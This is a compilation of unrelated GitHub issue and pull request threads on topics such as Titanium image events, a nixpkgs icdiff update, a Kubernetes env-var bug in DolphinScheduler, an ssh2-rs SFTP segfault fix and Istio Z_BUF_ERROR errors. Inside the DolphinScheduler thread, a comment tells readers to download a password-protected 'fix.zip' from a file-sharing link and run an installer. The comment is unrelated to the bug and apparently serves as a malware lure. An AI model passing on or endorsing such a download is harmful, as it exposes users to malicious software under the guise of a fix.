how to catch load or error events

can you explain how events work?
I'm trying this
$.image.addEventListener('load', function(){
	alert('done');
});

and this
$.image.on('load', function(){
	alert('done');
});

then the app crash

Hi @AhmedMohamed2014 in which platform do you have issues?

Android

@AhmedMSayed sorry for the tremendous delay.
Did you solved?
I tried this code:
XML
<Alloy>
	<Window class="container">
		<ImageView id="Image"
			module="av.imageview"
			top="20"
			width="200"
			height="200"
			contentMode="1"
			backgroundColor="red"
			image="http://t0.gstatic.com/images?q=tbn:ANd9GcT-rgSfqIy93HiXkRq53-XbMlkZsIMoRUIWHpKtPZRbsLeLPY4K"></ImageView>
	</Window>
</Alloy>

JS
$.Image.addEventListener("load", function(event) {
    Ti.API.info("Succesfully loaded:", event.image);
});

var images = [
    "http://i0.kym-cdn.com/entries/icons/original/000/024/056/avtr-he-bg-03.jpg",
    "http://nst.sky.it/content/dam/static/contentimages/original/sezioni/cinema/news/2017/04/04/02_Avatar.jpg/jcr:content/renditions/cq5dam.web.738.462.jpeg",
    "https://img.wennermedia.com/article-leads-horizontal/mcdavat_fe057_h-d05796d6-3992-4f1f-a73d-113e83866290.jpg"
];

for (var i = 0; i < images.length; i++) {
    (function(index) {
        setTimeout(function() {
            Ti.API.info("Changing image to", images[index]);

            $.Image.setImage(images[index]);
        }, (index+1)*2000);
    })(i);
}

that produces this log:
[INFO]  Succesfully loaded: http://t0.gstatic.com/images?q=tbn:ANd9GcT-rgSfqIy93HiXkRq53-XbMlkZsIMoRUIWHpKtPZRbsLeLPY4K
[INFO]  Changing image to http://i0.kym-cdn.com/entries/icons/original/000/024/056/avtr-he-bg-03.jpg
[WARN]  Bitmap: Called reconfigure on a bitmap that is in use! This may cause graphical corruption!
[WARN]  Bitmap: Called reconfigure on a bitmap that is in use! This may cause graphical corruption!
[INFO]  Succesfully loaded: http://i0.kym-cdn.com/entries/icons/original/000/024/056/avtr-he-bg-03.jpg
[INFO]  Changing image to http://nst.sky.it/content/dam/static/contentimages/original/sezioni/cinema/news/2017/04/04/02_Avatar.jpg/jcr:content/renditions/cq5dam.web.738.462.jpeg
[WARN]  Bitmap: Called reconfigure on a bitmap that is in use! This may cause graphical corruption!
[WARN]  Bitmap: Called reconfigure on a bitmap that is in use! This may cause graphical corruption!
[INFO]  Succesfully loaded: http://nst.sky.it/content/dam/static/contentimages/original/sezioni/cinema/news/2017/04/04/02_Avatar.jpg/jcr:content/renditions/cq5dam.web.738.462.jpeg
[INFO]  Changing image to https://img.wennermedia.com/article-leads-horizontal/mcdavat_fe057_h-d05796d6-3992-4f1f-a73d-113e83866290.jpg
[WARN]  Bitmap: Called reconfigure on a bitmap that is in use! This may cause graphical corruption!
[WARN]  Bitmap: Called reconfigure on a bitmap that is in use! This may cause graphical corruption!
[INFO]  Succesfully loaded: https://img.wennermedia.com/article-leads-horizontal/mcdavat_fe057_h-d05796d6-3992-4f1f-a73d-113e83866290.jpg

So the module is correctly working.
I'll close this issue. If you have any kind of related problem please reopen it.
Thanks.


icdiff: 1.9.1 -> 1.9.3

Semi-automatic update generated by https://github.com/ryantm/nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/icdiff/versions.
meta.description for icdiff is: '"Side-by-side highlighted command line diffs"'.
Compare changes on GitHub

Checks done (click to expand)

built on NixOS
/nix/store/3cgc62nc59gcva08p6f196cm5bjknnfd-icdiff-1.9.3/bin/git-icdiff passed the binary check.
/nix/store/3cgc62nc59gcva08p6f196cm5bjknnfd-icdiff-1.9.3/bin/.icdiff-wrapped passed the binary check.
/nix/store/3cgc62nc59gcva08p6f196cm5bjknnfd-icdiff-1.9.3/bin/icdiff passed the binary check.
3 of 3 passed binary check by having a zero exit code.
2 of 3 passed binary check by having the new version present in output.
found 1.9.3 with grep in /nix/store/3cgc62nc59gcva08p6f196cm5bjknnfd-icdiff-1.9.3
directory tree listing: https://gist.github.com/adb8c632de7e9b363ae8fb8110c8f421
du listing: https://gist.github.com/2ba11faa0af50c323aec0dce80a6f662

Test this build with Cachix (click to expand)

One time setup in nixpkgs Git checkout:
cachix use r-ryantm
git remote add r-ryantm https://github.com/r-ryantm/nixpkgs.git

Test this build:
git fetch r-ryantm && git checkout 1126e280b43011eed62f4a062e14f102ce1afd6b && nix-shell --pure -I nixpkgs=. -p icdiff

cc @aneeshusa for testing.

Success on x86_64-darwin (full log)
Attempted: icdiff
Partial log (click to expand)
reading manifest file 'icdiff.egg-info/SOURCES.txt'
reading manifest template 'MANIFEST.in'
writing manifest file 'icdiff.egg-info/SOURCES.txt'
running build_ext

----------------------------------------------------------------------
Ran 0 tests in 0.000s

OK
/nix/store/xqnqzlvn6fs3dl4vyl4xzwsnirkpkcy7-icdiff-1.9.3

Success on aarch64-linux (full log)
Attempted: icdiff
Partial log (click to expand)
reading manifest file 'icdiff.egg-info/SOURCES.txt'
reading manifest template 'MANIFEST.in'
writing manifest file 'icdiff.egg-info/SOURCES.txt'
running build_ext

----------------------------------------------------------------------
Ran 0 tests in 0.000s

OK
/nix/store/h2cayvkzm4kja2r9xc7z1pgjpa6vhlgn-icdiff-1.9.3

Success on x86_64-linux (full log)
Attempted: icdiff
Partial log (click to expand)
reading manifest file 'icdiff.egg-info/SOURCES.txt'
reading manifest template 'MANIFEST.in'
writing manifest file 'icdiff.egg-info/SOURCES.txt'
running build_ext

----------------------------------------------------------------------
Ran 0 tests in 0.000s

OK
/nix/store/3cgc62nc59gcva08p6f196cm5bjknnfd-icdiff-1.9.3


Warning property

I am getting a warning message when using the hammer component:
Warning: Unknown prop options on <div> tag. Remove this prop from the element. For details, see https://fb.me/react-unknown-prop

Should be fixed with this Pull Request. Hopefully it is merged quickly :) https://github.com/JedWatson/react-hammerjs/pull/47

@JedWatson Thanks for merging the PR for this bugfix (#47). Would you mind publishing that change to NPM as well?

@mdjasper it was published to npm with version 0.5.0


warning: File not found PythonConsole.dll

Hi,
I used Python for a long time now, but I don't know how to use it for Cadwork for many reasons :
First : when I create a new Folder, with my python script inside.
When I lunch the script in Cadwork, the console show this :
"CCdwkExternalProgramMgr::exec, warning: File not found 'C:/Users/Public/Documents/cadwork/USERPROFIL_26/3d/API.x64/Myscript/Myscript.dll'!"
My script is here :
"C:\Users\Public\Documents\cadwork\userprofil_26\3d\API.x64\Myscript\myscript.py"
Why it doesn't work ?
Why should create a dll file ?
Other question : why this link is not working ?
https://cwapi3d.readthedocs.io/
Thanks a lot for your help ! :)

I used version 26 of cadwork, I should use 29 to use Python, now it's working good !


[Bug] [Master] dynamic task output param is not compatible with k8s task param

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened
I orchestrate workflow with a k8s task followed by a dynamic task. When rerunning the workflow instance, the output param of the dynamic task will be applied to the k8s task, working as an environment variable in spec.template.spec.containers[0].env, with a pattern like dynamic.out(taskName). But the k8s environment variable name shouldn't contains brackets, so I got an error like this:
Message: Job.batch "00-uploader-mq-parse-7599" is invalid: spec.template.spec.containers[0].env[11].name: Invalid value: "dynamic.out(03-task-dispatcher)": a valid environment variable name must consist of alphabetic characters, digits, '_', '-', or '.', and must not start with a digit (e.g. 'my.env-name',  or 'MY_ENV.NAME',  or 'MyEnvName1', regex used for validation is '[-._a-zA-Z][-._a-zA-Z0-9]*'). Received status: Status(apiVersion=v1, code=422, details=StatusDetails(causes=[StatusCause(field=spec.template.spec.containers[0].env[11].name, message=Invalid value: "dynamic.out(03-task-dispatcher)": a valid environment variable name must consist of alphabetic characters, digits, '_', '-', or '.', and must not start with a digit (e.g. 'my.env-name',  or 'MY_ENV.NAME',  or 'MyEnvName1', regex used for validation is '[-._a-zA-Z][-._a-zA-Z0-9]*'), reason=FieldValueInvalid, additionalProperties={})], group=batch, kind=Job, name=00-uploader-mq-parse-7599, retryAfterSeconds=null, uid=null, additionalProperties={}), kind=Status, message=Job.batch "00-uploader-mq-parse-7599" is invalid: spec.template.spec.containers[0].env[11].name: Invalid value: "dynamic.out(03-task-dispatcher)": a valid environment variable name must consist of alphabetic characters, digits, '_', '-', or '.', and must not start with a digit (e.g. 'my.env-name',  or 'MY_ENV.NAME',  or 'MyEnvName1', regex used for validation is '[-._a-zA-Z][-._a-zA-Z0-9]*'), metadata=ListMeta(_continue=null, remainingItemCount=null, resourceVersion=null, selfLink=null, additionalProperties={}), reason=Invalid, status=Failure, additionalProperties={}).
	at io.fabric8.kubernetes.client.dsl.internal.OperationSupport.requestFailure(OperationSupport.java:704)
	at io.fabric8.kubernetes.client.dsl.internal.OperationSupport.requestFailure(OperationSupport.java:682)
	at io.fabric8.kubernetes.client.dsl.internal.OperationSupport.assertResponseCode(OperationSupport.java:633)
	at io.fabric8.kubernetes.client.dsl.internal.OperationSupport.lambda$handleResponse$0(OperationSupport.java:570)
	at java.util.concurrent.CompletableFuture.uniApply(CompletableFuture.java:616)
	at java.util.concurrent.CompletableFuture$UniApply.tryFire(CompletableFuture.java:591)
	at java.util.concurrent.CompletableFuture.postComplete(CompletableFuture.java:488)
	at java.util.concurrent.CompletableFuture.complete(CompletableFuture.java:1975)
	at io.fabric8.kubernetes.client.dsl.internal.OperationSupport.lambda$retryWithExponentialBackoff$2(OperationSupport.java:611)
	at java.util.concurrent.CompletableFuture.uniWhenComplete(CompletableFuture.java:774)
	at java.util.concurrent.CompletableFuture$UniWhenComplete.tryFire(CompletableFuture.java:750)
	at java.util.concurrent.CompletableFuture.postComplete(CompletableFuture.java:488)
	at java.util.concurrent.CompletableFuture.complete(CompletableFuture.java:1975)
	at io.fabric8.kubernetes.client.okhttp.OkHttpClientImpl$4.onResponse(OkHttpClientImpl.java:268)
	at okhttp3.internal.connection.RealCall$AsyncCall.run(RealCall.kt:519)

What you expected to happen
rerunning workflow instance shouldn't occur an exception.
How to reproduce

orchestrate a workflow, with k8s task first, followed by a dynamic task.
execute workflow instance repeatedly,and the error occurs.

Anything else
No response
Version
3.2.x
Are you willing to submit PR?

[X] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


See my previous response

See my previous response

Hi @Rick-Anderson, firstly thanks for getting back to me on the weekend. Secondly, your previous response in #27695 was interpreted in such a way that it could mean:

That I make a response at the bottom of #26505 (which was marked as off-topic).
That I go to the bottom of the page Tutorial: Get started with EF Core in an ASP.NET MVC web app (which was closed off)

The answer may be obvious to you but please understand you're reading from a person who is extremely new to contributing and has absolutely no IT commercial experience.
In order to upgrade the majority of MVC documentation to .NET 6 it would be super helpful if you could provide a link to this doc page. I cannot find it.

We plan on updating  the topic after #26505 is completed. Please stop opening new issues.

you can ask follow up questions in a closed issue.

you can ask follow up questions in a closed issue.

Didn't know. Heard in blog posts that they can no longer be followed that's why I made a new one. Guess I was following misinformation. I'll wait until your dev team is finished with 26505.

The dev team has that policy, but not the doc's team

Just asking if I can do something unrelated to ASP.NET. I'm not sure who to ask and not sure if making another issue is ok or not. I was able to compress the images in my main portfolio using Calibre act

Just asking if I can do something unrelated to ASP.NET. I'm not sure who to ask and not sure if making another issue is ok or not. I was able to compress the images in my main portfolio using Calibre act

Hi just asking if I can do something unrelated to ASP.NET. I'm not sure who to ask and not sure if making another issue is ok or not.
I notice DocFX doesn't support hot-reload. Some people have used an npm-watch to simulate a 'hot-reload' by re-triggering docfx build --serve when the file changes.
I'm wondering if you guys would accept such a change if I were to implement it, please?


Remove spokesperson from press page

Buhbye. GHE 522.
Removals

Spokesperson who is no longer with the Bureau.


Document our app

[x] Does rShiny now have a way to do develop documentation?
[x] What documentation should we use (readthedocs, pkgdown)?

We'll just create some simple documentation in the docs folder.


Convert worker stats to metrics

This PR prepares the deprecation of the /worker/stats/x routes in favour of metrics. I figured now might be a good time to add this so we can have a baseline in preparation of the various improvements that'll come with RHPv4... fine to park this too, did it on the plane last week.

this is ready but waiting on dev meeting to talk about the metrics we want/need

discussion in dev meeting made it clear we do not want to track metrics on a per-slab basis but only measure performance on a per-host basis instead, closing this out


Fix broken drop impl in SFTP module

Resolves #195 (use after free, double free, segfault...)

Hello, this lib has 12,000 downloads monthly and nobody cares it segfaults on the simplest let file = session.sftp().open(filename) ?

I think everyone cares, it is just a about having time in this cahotic life :) I have experienced this behavior as well and I am using scp, which is a poor choice compared to SFTP and does not give the same possibilities. @wez is it possible to prioritize the review of this bugfix?

Sorry; I haven't had much bandwidth recently. I can't make any promises about when I will have bandwidth.  This PR is complex enough that I don't feel good just eyeballing and merging it based on the CI being successful.
I do appreciate the time you've put into contributing this PR!

I have some time to give this PR a close look if this can help. I will do a review. I don't know if it would be ok, but I would like to help with this create if possible as I am a heavy user of it.

This PR is complex enough that I don't feel good just eyeballing and merging it based on the CI being successful.

LGTM.. It would be nice to add some tests if possible.

In case that can perhaps reassure you a bit, we've been using this fork in diverse ways in several places over our codebase for over a month now and haven't had any additional issues since.

This is reassuring and for me the tests are not a blocker for this PR. The issue of not having real tests is that this behaviour (use after-free, segfault, etc) could have been caught by some testing here I think: https://github.com/alexcrichton/ssh2-rs/blob/master/tests/all/sftp.rs#L12

This PR is complex enough that I don't feel good just eyeballing and merging it based on the CI being successful.

That seems like good practice when you have something that works and someone comes up with a new feature, but doesn't look worth waiting three months when you have something that is recognized to be so broken there may be RCEs in it and someone comes up with a fix.

Again, I am available and I have time to help maintaining this project. I use this library daily..

@alexcrichton Would you consider adding another maintainer ?

I think it's fine to add folks, but @wez is the primary maintainer nowadays, I  haven't had time for this crate in quite some time unfortunately.

Any news @wez?

Alright, thanks for the review @crisidev.  This looks good to me also!

Published in 0.8.3; thanks for your patience!

Thanks @wez.. Any chance we can expand the maintainer list here? One of my work projects also depends on this library and I would like to help if possible.

I looked but I don't have full admin access to manage maintainers; @alexcrichton, would you mind either giving me access to do that, or granting @crisidev push access?

Thanks a lot! Tomorrow I'll start working on a pull request adding some examples for some more complex things that can be done with this library, such has dropping into netconf :smile:

@alexcrichton sorry to bother you again. Do you mind to give me push access to the repo so I can start working on some of the outstanding issues? wez cannot do it, but he is fine with this :smile:

Oops sorry I missed that, added now!

Unfortunately since this is a personal repo, not an org repo, GitHub only allows me to invite collaborators, otherwise I'd give admin if I could...

Thanks a lot!


Check whether using native fetch or polyfilled one?

How can I able to tell if the fetch the browser using is the pollyfilled one?

The window.fetch.polyfill attribute will be present if the polyfill is loaded and active. It won't be present on a native browser implementation of window.fetch.


It seems the front-end won't let me un-stake from a validator and re-stake during the same epoch.

It seems the front-end won't let me un-stake from a validator and re-stake during the same epoch.

Also, the error message is misleading; I do have 5 VEGA associated it's just that they're all delegated in this current epoch.

Bit more on my status:

And my Vega key 60b7663c688cc720373d2bc7c3e01d93c416a25cb74fd11189a2767c11aaf20e.

it's actually not a UI bug, as I figured yesterday - it would happen when you already have all of your association nominated and you're trying to move stake between validators. It's fixed by https://github.com/vegaprotocol/vega/pull/4372

Retested this bug and it works fine. When I have 0 unstaked tokens and I try to delegate and undelegate multiple times to the same validator and other validators in the same epoch, the staked tokens are accurately updated. Hence marking this ticket as done


Update init.py

Changed in json version 3.9: The keyword argument encoding has been removed. (loads)
https://docs.python.org/3/library/json.html

👍

Much appreciated!


option to always retain unsaved buffers no matter what

Problem:
Currently, unsaved buffers (by that I mean new, unsaved, unnamed buffers with notes etc.) are somewhat loosely associated with atom project.
When you open a new project in a new window, the unsaved buffers are not opened/transferred to that window (whether it's a good thing is subjective). When you close that project (window), those unsaved buffers are (AFAIK) irreversibly lost.
I'm not sure how the unsaved buffers are retained between atom sessions, but if you happen to close the project as stated above, and then do File → Reopen project, the unsaved buffers created within that project are not restored.
I can't express how many times I've lost work due to atom not re-opening active project (even though it's been mostly fixed [there's so many related issues that I don't keep track] it happens to me every other week or so), thus losing unsaved buffers. I've since learned to keep my most important code-snippets-to-be-processed-later in a saved buffer, but I'm pretty lazy so I forget to do that all the time. And you know, it always happens that the atom loses state right when I put some important stuff in there :).
Proposal:
Either one would be fine:

Add an option to always retain unsaved buffers no matter what, and don't associate them with a project
Keep them associated with a project, but restore them when doing File → Reopen project (or when reopening project via other means)
Keep easily accessible backup (plaintext) of the unsaved buffers that's not removed under any circumstances (unless either user manually closes that buffer, or saves it) -- or at least have some way to restore unsaved buffers that's not been reopened for some reason.

Thank you for your submission!
We noticed that this is a duplicate of https://github.com/atom/atom/issues/13318. You may want to subscribe there for updates.
Because we treat our issues list as the Atom team's backlog, we close duplicates to focus our work and not have to touch the same chunk of code for the same reason multiple times. This is also why we may mark something as duplicate that isn't an exact duplicate but is closely related.
For information on how to use GitHub's search feature to find out if something is a duplicate before filing, see the How Can I Contribute? section of the Atom CONTRIBUTING guide.


Dashboard: pending cards

Two issues:

I've sent G$4 and G$5 and it shows that I've sent G$0.04 and G$0.05

when trying to delete pending cards - I got an errors

was fixed. check later tonight. moving this to QA column also.

Checked on https://ewallet.gooddollar.org and https://goodqa.netlify.com/
Work as per requirements


Update log4cats-core, log4cats-slf4j to 2.2.0

Updates

org.typelevel:log4cats-core
org.typelevel:log4cats-slf4j

from 2.1.1 to 2.2.0.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Applied Scalafix Migrations

org.typelevel:cats-core:2.2.0 (created no change)

github:typelevel/cats/Cats_v2_2_0?sha=v2.2.0
Documentation: https://github.com/typelevel/cats/blob/v2.2.0/scalafix/README.md#migration-to-cats-v220

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.typelevel" } ]

labels: library-update, early-semver-minor, semver-spec-minor, scalafix-migrations, commit-count:1

Superseded by #374.


feat: Automatically reset DNS-configured connections on DNS change

When a connection is configured using a DNS domain name, the connector will poll the DNS TXT record every 30 seconds. If the value of the DNS record changes, the connector will close all connections to the old instance, and direct new connections to the updated instance.

@enocom Please review #865 before you take another look at this one.

To summarize our conversation:

We'll move the ticker onto the monitoredCache
The monitoredCache will need to have some state when the DNS changes
New calls to get a connectionInfoCache will check for that state to see if the dialer needs to throw out the existing cache

Ok, I've updated the code to reflect our discussion.
I this as discussed: I removed the "lock the world" operations. I moved the domain name ticker to monitoredCache. I made the cache get operation check if an entry is closed.
I still think is valuable to separate the concerns: dialing connections, maintaining a consistent and thread-safe cache state into two classes. Dialer should do the dialing, dialerCache should maintain cache thread safety and implement the logic around keeping the cache consistent when there are entries with the same domain name but different instance names, or when there are entries that were closed and need to be replaced.

This is superseded by by #868


DocsArchive-<IP_ADDRESS>Auto archive content

Please don't merge this PR until target archive repo PR https://github.com/OPS-E2E-PPE/docs-yml-archive-non-versioning-archive/pull/58 is merged into live branch.
Auto archive content to https://github.com/VSC-Service-Account/docs-yml-archive-non-versioning-archive.git

Docs Build status updates of commit f277109:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

.openpublishing.redirection.json
:white_check_mark:Succeeded

docs/TOC.yml
:white_check_mark:Succeeded
View

docs/index.yml
:white_check_mark:Succeeded
View

docs/to-be-archive/level1/article3-1-1.md
:white_check_mark:Succeeded
View

docs/to-be-archive/level1/article3-1-2.md
:white_check_mark:Succeeded
View

docs/to-be-archive/level1/article3-1-3.yml
:white_check_mark:Succeeded
View

docs/to-be-archive/level1/sql-database-engine.png
:white_check_mark:Succeeded

docs/to-be-archive/level2/article3-2-1.md
:white_check_mark:Succeeded
View

docs/to-be-archive/level2/article3-2-2.md
:white_check_mark:Succeeded
View

docs/to-be-archive/level2/article3-2-3.yml
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


Istio Sidecar causes handleRequestError/Z_BUF_ERROR errors on EKS applications

Is this the right place to submit this?

[X] This is not a security vulnerability or a crashing bug
[X] This is not a question about how to use Istio

Bug Description
Hello Everyone,
After upgrading to Istio v1.14.6 our NodeJS based applications (using zlib) with Istio Sidecar (proxyv2:1.14.6) report Z_BUF_ERROR errors on their console.
Examples are below:
{"startTime":"2023-09-25T06:02:45.771Z","categoryName":"clientRequest.js","level":"ERROR","RID":"OMITTED","settings":{"url":"http://OMITTED.svc.cluster.local:8098/OMITTED","method":"PUT","timeout":50000,"encoding":null,"headers":{"Cache-Control":"no-cache","Pragma":"no-cache","Content-Type":"text/html","X-OMITTED-Meta-CorrelationId":"OMITTED"},"translateToAllLocales":false,"body":""},"error":"Z_BUF_ERROR"}
{"startTime":"2023-09-26T19:13:44.111Z","categoryName":"riak.js","level":"ERROR","url":"http://OMITTED.svc.cluster.local:8098/OMITTED","error":"Z_BUF_ERROR","fx":"handleRequestError"}
The errors occur right after the workload is restarted with the new sidecar image (proxyv2:1.14.6), downgrading the sidecar back to proxyv2:1.13.9 and restarting the workloads solves the issue immediately, no more errors on the console. We have tested multiple version of Istio sidecar starting from 1.14.0-alpha.0 to 1.15.0, the Z_BUF_ERROR is experienced with all these versions. In addition to that the Istio sidecar version 1.17.0 was also tested and we have the same issue and errors.
The error occurs with the connection to one of our internal NoSQL instances on TCP port 8098, in case this port is excluded on the sidecar using the traffic.sidecar.istio.io/excludeOutboundPorts annotation the error is no longer present. This makes us believe that some traffic management/handling related change was introduced to the Istio sidecar from version 1.14.0 that potentially causes our connections to get truncated. The tcpdump performed on the sidecar container shows neither HTTP problems nor TCP errors.
We have reviewed the Istio (1.14) & Envoy (1.22) change logs but could not pinpoint the root cause of the issue yet.
Do you have any suggestion what sidecar change that was introduced in version 1.14 could be causing the issue?
Any suggestion or troubleshooting tip is appreciated
Version
$ istioctl version
client version: 1.19.0
control plane version: 1.14.6
data plane version: 1.14.6 (4 proxies)

$ kubectl version --short
Client Version: v1.23.6
Server Version: v1.24.16-eks-2d98532

Additional Information
No response

Hello @howardjohn,
Do you have any idea what change from version 1.14 could trigger the error?

Guess this is related to max connection buffer size or something, not sue what changed on 1.14
BTW, what is Z_BUF_ERROR

Hello @hzxuzhonghu,
Thank you for your response.
Based on my research the Z_BUF_ERROR indicates that the output buffer is full, it can also be caused by a corrupted download (potentially because of the full buffer). I have adjusted the sidecar log level to debug but I see no indication of an error.

here are more debug logs
{"preview":false,"result":{"log":"2023-10-09T13:32:57.901369601Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.901317Z\",\"scope\":\"envoy router\",\"msg\":\"[C2869][S14900529670936466081] router decoding headers:\\n':authority', 'SERVICE_ENDPOINT:8098'\\n':path', '/buckets/internal_ep/keys/%2Ffragments%2Fhome%2Fhighlights%2Fen-gb%3FtargetDevice%3Ddesktop'\\n':method', 'PUT'\\n':scheme', 'http'\\n'cache-control', 'no-cache'\\n'pragma', 'no-cache'\\n'content-type', 'text/html'\\n'x-riak-meta-correlationid', 'scheduler-homePage-1696858371505, scheduler-virtual-1696858371505'\\n'accept-encoding', 'gzip, deflate'\\n'content-length', '13'\\n'x-forwarded-proto', 'http'\\n'x-request-id', '16346074-590e-90fb-85b5-d7f25079db03'\\n'x-envoy-decorator-operation', 'SERVICE_ENDPOINT:8098/*'\\n'x-envoy-peer-metadata', 'CERT_DATA=='\\n'x-envoy-peer-metadata-id', 'sidecar~PRIVATE_IP~svc-en-gb-67cfb6bcc6-tbprh.int_SVC_1~int_SVC_1.svc.cluster.local'\\n'x-envoy-expected-rq-timeout-ms', '5000'\\n'x-envoy-attempt-count', '1'\\n\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.90135359Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.901293Z\",\"scope\":\"envoy router\",\"msg\":\"[C2869][S14900529670936466081] cluster 'outbound|8098||SERVICE_ENDPOINT' match for URL '/buckets/internal_ep/keys/%2Ffragments%2Fhome%2Fhighlights%2Fen-gb%3FtargetDevice%3Ddesktop'\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.90128176Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.901226Z\",\"scope\":\"envoy connection\",\"msg\":\"[C2869] current connecting state: false\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.90126913Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.901200Z\",\"scope\":\"envoy http\",\"msg\":\"[C2869][S14900529670936466081] request headers complete (end_stream=false):\\n':authority', 'int-svc.on-prem.svc.cluster.local:8098'\\n':path', '/buckets/internal_ep/keys/%2Ffragments%2Fhome%2Fhighlights%2Fen-gb%3FtargetDevice%3Ddesktop'\\n':method', 'PUT'\\n'cache-control', 'no-cache'\\n'pragma', 'no-cache'\\n'content-type', 'text/html'\\n'x-riak-meta-correlationid', 'scheduler-homePage-1696858371505, scheduler-virtual-1696858371505'\\n'accept-encoding', 'gzip, deflate'\\n'content-length', '13'\\n'connection', 'close'\\n\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.901205819Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.901159Z\",\"scope\":\"envoy http\",\"msg\":\"[C2869] new stream\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.900481401Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.900409Z\",\"scope\":\"envoy conn_handler\",\"msg\":\"[C2869] new connection from PRIVATE_IP:53148\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.915723514Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.915659Z\",\"scope\":\"envoy conn_handler\",\"msg\":\"[C2869] adding to cleanup list\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.915719424Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.915641Z\",\"scope\":\"envoy connection\",\"msg\":\"[C2869] closing socket: 1\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.915710694Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.915625Z\",\"scope\":\"envoy connection\",\"msg\":\"[C2869] write flush complete\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.915613423Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.915549Z\",\"scope\":\"envoy connection\",\"msg\":\"[C2869] setting delayed close timer with timeout 1000 ms\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.915609523Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.915544Z\",\"scope\":\"envoy connection\",\"msg\":\"[C2869] closing data_to_write=205 type=0\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.915472272Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.915426Z\",\"scope\":\"envoy http\",\"msg\":\"[C2869][S14900529670936466081] encoding headers via codec (end_stream=true):\\n':status', '204'\\n'vary', 'Accept-Encoding'\\n'server', 'envoy'\\n'date', 'Mon, 09 Oct 2023 13:32:57 GMT'\\n'content-type', 'text/html'\\n'content-encoding', 'gzip'\\n'x-envoy-upstream-service-time', '13'\\n'connection', 'close'\\n\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.915459922Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.915405Z\",\"scope\":\"envoy http\",\"msg\":\"[C2869][S14900529670936466081] closing connection due to connection close header\"}"}} {"preview":false,"result":{"log":"2023-10-09T13:32:57.915450452Z stderr F {\"level\":\"debug\",\"time\":\"2023-10-09T13:32:57.915369Z\",\"scope\":\"envoy router\",\"msg\":\"[C2869][S14900529670936466081] upstream headers complete: end_stream=true\"}"}}

Based on @hzxuzhonghu's recommendation we have tried adding the Accept-Encoding header to our VirtualService using headers.request.set.Accept-Encoding: '*' and it is confirmed to be working fine.
Adding the reference ticket to this one: https://github.com/istio/istio/issues/39706
Thank you for your help @hzxuzhonghu


Set limits for multiple processes in one command

At the moment, one command is required per process to configure its limits. This is a problem for us because we have more than 30 different processes in our main app, and updating the limits results in a new release being created every time (we'd like to avoid the overhead, both in time and space, that would result from creating 30+ releases every time we need to tweak the limits).

Flynn is unmaintained and our infrastructure will shut down on June 1, 2021. See the README for details.


PP12302 Add method to find free port without collisions

WHAT YOU DID
Add method to PortFactory to find a free port that does not conflict with a list of provided ports
This allows for finding multiple free ports in one go, rather than having to use a free port before finding the next

Closing this as it doesn't appear to ever really be a problem that needs solving. The port conflict issues experienced were caused by findFreePort sometimes returning a port which was available on localhost but unavailable on other IPs, so binding to <IP_ADDRESS>:port caused an error.


Simple one to one relationship (one way) should work

In normal case we have one to one parent child relationships.
Like one parent class User and it has a child UserType.
@Data
public class User {
     @Id
     private Long id;
     private String name;
     private UserType type;
}

@Data
public class UserType {
     @Id
     private Long id;
     private String type;
}

Having schema as :
Table User:
Column : id (Primary key), name , user_type_id foreign key to UserType.id column
Table UserType
Column : id (Primary key), name
User type is master table, whenever we need to add user, based on type we select and create user.
This should work normally with UserRepository<User, Long>.
But when we use this schema and classes, it generates wrong query as it accepts User.id should be present in UserType table.
Which is wrong as this is master table, I dont want it to grow when new user added.
similar question on Stack overflow

For the above class and schema, It Generates SELECT query for findOneById() as follows :
SELECT USERS.id AS id, USERS.name AS name, type.id AS type_id, type.name AS type_name FROM USERS LEFT OUTER JOIN USER_TYPE type ON type.type = USERS.id WHERE USERS.id = ?
But the expected query is :
SELECT USERS.id AS id, USERS.name AS name, type.id AS type_id, type.name AS type_name FROM USERS LEFT OUTER JOIN USER_TYPE type ON type.id = USERS.type WHERE USERS.id = ?

The possible solution for this can be:
In SqlGenerator.java class
Join getJoin(PersistentPropertyPathExtension path) method we can return:
return new Join( //
				currentTable, //
				currentTable.column(path.getIdColumnName()), //
				parentTable.column(path.getColumnName()) //
		);

